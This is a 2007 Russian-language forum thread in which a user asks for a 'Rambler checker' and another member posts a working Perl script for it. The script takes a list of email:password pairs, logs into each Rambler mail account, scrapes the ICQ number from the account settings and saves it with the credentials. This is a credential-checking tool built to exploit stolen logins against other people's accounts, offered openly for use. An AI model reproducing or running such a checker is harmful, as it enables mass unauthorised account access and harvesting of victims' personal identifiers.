Rambler Checker

Discussion in 'PHP' started by Xszz, 19 Dec 2007.

  1. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Народ , кто поможет написать скрипт ?
    Суть :
    Есть список мыл:паролей (txt)
    qwe@ramber.ru:Пassword

    Нужно :
    Логинится через
    Code:
    http://mail.rambler.ru/script/auth.cgi
    Нажимать на ссылку с именем ящика qwe@ramber.ru
    (ссылка вида http://id.rambler.ru)
    Открывается страница
    Code:
    http://id.rambler.ru/script/settings.cgi
    На странице искать следующие строки :

    Code:
    Ваш номер ICQ: 12345 
    Результат записывать в файл , допустим , out.txt
    примерно в таком виде
    Code:
    12345 : qwe@ramber.ru
    Огромное спасибо за помощь ;)
     
  2. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,194
    Reputations:
    252
    За $ напишу...стукай в асю
     
  3. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Спасибо , но воздержусь пока ...
     
  4. DIAgen

    DIAgen Banned Life!

    Joined:
    2 May 2006
    Messages:
    1,055
    Likes Received:
    374
    Reputations:
    460
    Тут тебя врятли помогут написать скрипт, но поздказать смогут без проблем, учи php, и пользуйся сокетами или cURL и удачи тебе:)
     
  5. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    йа сегодня добрый

    Code:
    #!/usr/bin/perl -w
    
    use strict;
    use LWP::UserAgent;
    use HTTP::Cookies;
    
    print "\nRambler.ru ICQ parser $0 Coded by C!klodoL\n";
    
    my $mails = 'rambler.txt'; #мыла
    my $icqs  = 'icq.txt';  #осику
    
    open(my $inFile, "<$mails");
    my @mail = <$inFile>;
    close $inFile;
    chomp @mail;
    
    open(my $outFile, ">>$icqs");
    
    my $ua = LWP::UserAgent->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
    my $cookies = HTTP::Cookies->new();
    $ua->cookie_jar($cookies);
    
    while (@mail) {
    	my ($user, $pass) = split(/:/, shift(@mail));
    	$user =~ s/@.+//;
    	my $req = $ua->post("http://mail.rambler.ru/script/auth.cgi?login=$user&passw=$pass")->as_string;
    	my ($location) = $req =~ /Location: (.+)/;
    	if ($location) {
    		$req = $ua->get($location);
    		$req = $ua->get('http://id.rambler.ru/script/settings.cgi')->as_string;
    		my ($icq) = $req =~ /ICQ">(\d+)/;
    		if ($icq) {
    			print "$icq:$user:$pass\n";
    			print $outFile "$icq:$user:$pass\n";
    			} else {
    				print "NoICQ:$user:$pass\n";
    				print $outFile "NoICQ:$user:$pass\n";
    				}
    		}
    $cookies->clear;
    }
    
    правда я хз банят ли там за частые запросы
     
    #5 C!klodoL, 21 Dec 2007
    Last edited: 28 Dec 2007
    2 people like this.
  6. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    Опа спасибо ;)))